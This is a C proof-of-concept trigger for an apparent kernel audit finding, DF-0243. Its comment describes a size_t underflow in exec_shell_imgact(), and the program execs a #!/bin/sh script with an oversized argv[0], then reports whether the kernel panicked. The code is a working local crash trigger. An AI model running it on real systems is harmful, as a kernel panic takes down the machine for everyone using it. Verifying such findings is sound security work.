DF-0243 / trigger.c
/* * DF-0243 trigger: exec a #! script with a long argv[0]. * * Claim: in exec_shell_imgact(), when strlen(argv[0]) > (strlen(interp)+strlen(fname)), * `offset -= length` underflows (size_t), corrupting begin_envv/endp/space * and panicking the kernel. * * We exec a #!/bin/sh script whose fname is short ("/tmp/df0243_s") and pass an * argv[0] that is much longer than "/bin/sh" + "/tmp/df0243_s", exercising the * offset < length branch. If the finding is correct, this panics the kernel. * If modular pointer arithmetic saves us, execve either runs /bin/sh (and the * script prints "DF0243_SCRIPT_RAN") or returns an error -- but no panic. */ #include <sys/wait.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #define SCRIPT_PATH "/tmp/df0243_s" int main(int argc, char **argv) { size_t alen = 256; /* argv[0] length (default from finding) */ if (argc > 1) alen = (size_t)strtoul(argv[1], NULL, 10); if (alen < 1) alen = 1; char *ao = malloc(alen); if (!ao) { perror("malloc"); return 2; } memset(ao, 'A', alen - 1); ao[alen - 1] = '\0'; /* fork so the parent can observe whether the child ran or got killed */ pid_t pid = fork(); if (pid < 0) { perror("fork"); return 2; } if (pid == 0) { char *cargv[] = { ao, NULL }; char *cenvp[] = { NULL }; execve(SCRIPT_PATH, cargv, cenvp); _exit(127); /* only reached on exec failure */ } int status = 0; if (waitpid(pid, &status, 0) < 0) { perror("waitpid"); return 2; } if (WIFSIGNALED(status)) { printf("DF0243_CHILD_KILLED signal=%d (%s)\n", WTERMSIG(status), strsignal(WTERMSIG(status))); return 3; } int code = WIFEXITED(status) ? WEXITSTATUS(status) : -1; printf("DF0243_CHILD_EXIT code=%d (0=script ran /bin/sh; 127=execve failed errno-path)\n", code); if (code == 0) printf("DF0243_NO_PANIC: script executed normally -- underflow did not crash\n"); return 0; } |